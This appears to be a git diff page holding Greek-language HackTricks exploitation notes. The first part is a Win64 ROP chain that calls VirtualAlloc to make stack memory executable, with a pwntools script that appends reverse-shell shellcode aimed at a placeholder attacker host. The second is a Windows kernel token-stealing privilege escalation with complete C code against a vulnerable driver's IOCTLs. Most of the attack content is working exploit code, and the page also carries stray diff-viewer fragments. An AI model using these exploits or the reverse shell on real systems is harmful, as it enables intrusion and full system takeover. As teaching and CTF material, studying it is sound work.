Σημεία-κλειδιά (Win64 calling convention):
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → επιλέξτε μια διεύθυνση στην τρέχουσα στοίβα (π.χ., RSP) ώστε η νεοδεσμευμένη περιοχή RWX να επικαλύπτει το payload σας
|
||||
- RDX = dwSize → αρκετά μεγάλη για την αλυσίδα + shellcode σας (π.χ., 0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Επιστρέψτε απευθείας στο shellcode τοποθετημένο αμέσως μετά την αλυσίδα.
|
||||
|
||||
Ελάχιστη στρατηγική:
|
||||
1) Leak μια βάση module (π.χ., μέσω format-string, object pointer, κ.λπ.) για να υπολογίσετε τις απόλυτες διευθύνσεις των gadgets και του IAT υπό ASLR.
|
||||
2) Βρείτε gadgets για να φορτώσετε RCX/RDX/R8/R9 (pop ή mov/xor-based sequences) και ένα call/jmp [VirtualAlloc@IAT]. Αν δεν έχετε άμεσα pop r8/r9, χρησιμοποιήστε arithmetic gadgets για να συνθέσετε σταθερές (π.χ., θέστε r8=0 και επαναλάβετε προσθήκη r9=0x40 σαράντα φορές για να φτάσετε 0x1000).
|
||||
3) Τοποθετήστε stage-2 shellcode αμέσως μετά την αλυσίδα.
|
||||
|
||||
Παράδειγμα διάταξης (εννοιολογικό):
|
||||
```
|
||||
# ... padding up to saved RIP ...
|
||||
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||
POP_R9_RET; 0x40
|
||||
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
|
||||
POP_R8_RET; 0x1000
|
||||
# RCX = &stack (lpAddress)
|
||||
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
|
||||
# RDX = size (dwSize)
|
||||
POP_RDX_RET; 0x1000
|
||||
# Call VirtualAlloc via the IAT
|
||||
[IAT_VirtualAlloc]
|
||||
# New RWX memory at RCX — execution continues at the next stack qword
|
||||
JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
Με ένα περιορισμένο σύνολο gadgets, μπορείτε να κατασκευάσετε τιμές καταχωρητών έμμεσα, για παράδειγμα:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → ορίζει το r9 από το rbx, μηδενίζει το r8 και αντισταθμίζει το stack με ένα junk qword.
|
||||
- xor rbx, rsp; ret → γεμίζει το rbx με τον τρέχοντα stack pointer.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → μεταφέρει τιμή προερχόμενη από RSP στο RCX.
|
||||
|
||||
Παράδειγμα Pwntools (δεδομένη μια γνωστή base και gadgets):
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
|
||||
rop = b''
|
||||
# r9 = 0x40
|
||||
rop += p64(base+POP_RBX_RET) + p64(0x40)
|
||||
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
|
||||
# rcx = rsp
|
||||
rop += p64(base+POP_RBX_RET) + p64(0)
|
||||
rop += p64(base+XOR_RBX_RSP_RET)
|
||||
rop += p64(base+PUSH_RBX_POP_RAX_RET)
|
||||
rop += p64(base+MOV_RCX_RAX_RET)
|
||||
# r8 = 0x1000 via arithmetic if no pop r8
|
||||
for _ in range(0x1000//0x40):
|
||||
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
|
||||
# rdx = 0x1000 (use any available gadget)
|
||||
rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
||||
# call VirtualAlloc and land in shellcode
|
||||
rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
Συμβουλές:
|
||||
- VirtualProtect λειτουργεί παρόμοια αν προτιμάται να κάνετε ένα υπάρχον buffer RX· η σειρά των παραμέτρων είναι διαφορετική.
|
||||
- Αν ο χώρος στο stack είναι περιορισμένος, εκχωρήστε RWX αλλού (RCX=NULL) και κάντε jmp σε αυτή τη νέα περιοχή αντί να επαναχρησιμοποιήσετε το stack.
|
||||
- Πάντοτε λαμβάνετε υπόψη gadgets που προσαρμόζουν το RSP (π.χ., add rsp, 8; ret) εισάγοντας junk qwords.
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **πρέπει να απενεργοποιηθεί** για να είναι η διεύθυνση αξιόπιστη ανάμεσα στις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποιο leak για να καταλάβετε πού φορτώνεται η win function.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να απενεργοποιηθούν, αλλιώς η παραβιασμένη διεύθυνση επιστροφής του EIP δεν θα ακολουθηθεί ποτέ.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection θα αποτρέψει την εκτέλεση του shellcode μέσα στο stack επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη.
|
||||
|
||||
## Άλλα Παραδείγματα & Αναφορές
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit, ASLR με leak διεύθυνσης στοίβας, γράψτε shellcode και πηδήξτε σε αυτό
|
||||
- 64bit, ASLR με leak διεύθυνσης stack, γράψτε shellcode και κάντε jump σε αυτό
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit, ASLR με leak στοίβας, γράψτε shellcode και πηδήξτε σε αυτό
|
||||
- 32 bit, ASLR με leak στο stack, γράψτε shellcode και κάντε jump σε αυτό
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit, ASLR με leak στοίβας, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικαταστήστε μια μεταβλητή με μια τιμή και γράψτε shellcode και πηδήξτε σε αυτό
|
||||
- 32 bit, ASLR με leak στο stack, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικατάσταση μιας μεταβλητής με μια τιμή και γράψτε shellcode και κάντε jump σε αυτό
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, χωρίς ASLR, ROP gadget για να κάνετε τη στοίβα εκτελέσιμη και να πηδήξετε στο shellcode στη στοίβα
|
||||
- arm64, χωρίς ASLR, ROP gadget για να κάνει το stack εκτελέσιμο και να κάνει jump στο shellcode στο stack
|
||||
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,122 @@
|
||||
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Επισκόπηση
|
||||
|
||||
Εάν ένας ευάλωτος driver εκθέτει ένα IOCTL που παρέχει σε έναν επιτιθέμενο αυθαίρετες δυνατότητες ανάγνωσης και/ή εγγραφής στον kernel, η αναβάθμιση σε NT AUTHORITY\SYSTEM μπορεί συχνά να επιτευχθεί κλέβοντας το SYSTEM access token. Η τεχνική αντιγράφει τον δείκτη Token από το EPROCESS μιας διεργασίας SYSTEM στο EPROCESS της τρέχουσας διεργασίας.
|
||||
|
||||
Γιατί λειτουργεί:
|
||||
- Κάθε διεργασία έχει μια δομή EPROCESS που περιέχει (μεταξύ άλλων πεδίων) ένα Token (στην πραγματικότητα ένα EX_FAST_REF σε ένα token object).
|
||||
- Η διεργασία SYSTEM (PID 4) κατέχει ένα token με όλα τα προνόμια ενεργοποιημένα.
|
||||
- Η αντικατάσταση του EPROCESS.Token της τρέχουσας διεργασίας με τον δείκτη token του SYSTEM κάνει την τρέχουσα διεργασία να τρέξει ως SYSTEM αμέσως.
|
||||
|
||||
> Τα offsets στο EPROCESS διαφέρουν ανάλογα με τις εκδόσεις των Windows. Προσδιορίστε τα δυναμικά (symbols) ή χρησιμοποιήστε constants ανά έκδοση. Επίσης θυμηθείτε ότι το EPROCESS.Token είναι ένα EX_FAST_REF (τα χαμηλά 3 bits είναι flags μετρήματος αναφορών).
|
||||
|
||||
## Βήματα υψηλού επιπέδου
|
||||
|
||||
1) Εντοπίστε το base του ntoskrnl.exe και λύστε τη διεύθυνση του PsInitialSystemProcess.
|
||||
- Από user mode, χρησιμοποιήστε NtQuerySystemInformation(SystemModuleInformation) ή EnumDeviceDrivers για να πάρετε τις βάσεις των φορτωμένων drivers.
|
||||
- Προσθέστε το offset του PsInitialSystemProcess (από symbols/reversing) στη base του kernel για να πάρετε τη διεύθυνσή του.
|
||||
2) Διαβάστε τον δείκτη στο PsInitialSystemProcess → αυτός είναι ένας kernel pointer στο EPROCESS του SYSTEM.
|
||||
3) Από το EPROCESS του SYSTEM, διαβάστε τα offsets UniqueProcessId και ActiveProcessLinks για να διασχίσετε τη διπλά συνδεδεμένη λίστα των δομών EPROCESS (ActiveProcessLinks.Flink/Blink) μέχρι να βρείτε το EPROCESS του οποίου το UniqueProcessId ισούται με GetCurrentProcessId(). Κρατήστε και τα δύο:
|
||||
- EPROCESS_SYSTEM (για το SYSTEM)
|
||||
- EPROCESS_SELF (για την τρέχουσα διεργασία)
|
||||
4) Διαβάστε την τιμή token του SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
|
||||
5) Option A (common): Διατηρήστε τα χαμηλά 3 bits από το τρέχον token σας και συγκολλήστε τα στον δείκτη του SYSTEM για να διατηρηθεί η συνέπεια του ενσωματωμένου μετρητή αναφορών.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) Εγγράψτε το Token_NEW πίσω στο (EPROCESS_SELF + TokenOffset) χρησιμοποιώντας το kernel write primitive σας.
|
||||
7) Η τρέχουσα διεργασία σας είναι τώρα SYSTEM. Προαιρετικά ξεκινήστε ένα νέο cmd.exe ή powershell.exe για επιβεβαίωση.
|
||||
|
||||
## Ψευδοκώδικας
|
||||
|
||||
Παρακάτω είναι ένα σκελετικό παράδειγμα που χρησιμοποιεί μόνο δύο IOCTLs από έναν ευάλωτο driver, ένα για 8-byte kernel read και ένα για 8-byte kernel write. Αντικαταστήστε με το interface του driver σας.
|
||||
```c
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// Device + IOCTLs are driver-specific
|
||||
#define DEV_PATH "\\\\.\\VulnDrv"
|
||||
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
// Version-specific (examples only – resolve per build!)
|
||||
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
|
||||
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
|
||||
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
|
||||
|
||||
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
|
||||
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
|
||||
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
|
||||
}
|
||||
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
|
||||
struct { uint64_t addr, val; } in; DWORD ret;
|
||||
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
|
||||
}
|
||||
|
||||
// Get ntoskrnl base (one option)
|
||||
uint64_t get_nt_base(void) {
|
||||
LPVOID drivers[1024]; DWORD cbNeeded;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
|
||||
return (uint64_t)drivers[0]; // first is typically ntoskrnl
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (h == INVALID_HANDLE_VALUE) return 1;
|
||||
|
||||
// 1) Resolve PsInitialSystemProcess
|
||||
uint64_t nt = get_nt_base();
|
||||
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
|
||||
|
||||
// 2) Read SYSTEM EPROCESS
|
||||
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
|
||||
|
||||
// 3) Walk ActiveProcessLinks to find current EPROCESS
|
||||
DWORD myPid = GetCurrentProcessId();
|
||||
uint64_t cur = EPROC_SYS; // list is circular
|
||||
uint64_t EPROC_ME = 0;
|
||||
do {
|
||||
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
|
||||
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
|
||||
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
|
||||
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
|
||||
} while (cur != EPROC_SYS);
|
||||
|
||||
// 4) Read tokens
|
||||
uint64_t tok_sys, tok_me;
|
||||
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
|
||||
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
|
||||
|
||||
// 5) Mask EX_FAST_REF low bits and splice refcount bits
|
||||
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
|
||||
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
|
||||
|
||||
// 6) Write back
|
||||
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
|
||||
|
||||
// 7) We are SYSTEM now
|
||||
system("cmd.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Μετατοπίσεις: Χρησιμοποιήστε το WinDbg με την εντολή `dt nt!_EPROCESS` μαζί με τα PDBs του στόχου, ή έναν runtime symbol loader, για να λάβετε σωστές μετατοπίσεις. Μην κάνετε hardcode τυφλά.
|
||||
- Μάσκα: Σε x64 το token είναι EX_FAST_REF; τα 3 χαμηλότερα bits είναι bits μετρητή αναφορών. Η διατήρηση των αρχικών χαμηλών bits από το token σας αποφεύγει άμεσες ασυμφωνίες στον μετρητή αναφορών.
|
||||
- Σταθερότητα: Προτιμήστε να ανυψώνετε την τρέχουσα διεργασία· αν ανυψώσετε έναν βραχύβιο helper μπορεί να χάσετε SYSTEM όταν τερματιστεί.
|
||||
|
||||
## Ανίχνευση & μετριασμός
|
||||
- Η φόρτωση unsigned ή untrusted third‑party drivers που εκθέτουν ισχυρά IOCTLs είναι η βασική αιτία.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, και οι κανόνες Attack Surface Reduction μπορούν να αποτρέψουν τη φόρτωση ευάλωτων drivers.
|
||||
- Το EDR μπορεί να παρακολουθεί για ύποπτες ακολουθίες IOCTL που υλοποιούν arbitrary read/write και για token swaps.
|
||||
|
||||
## Αναφορές
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user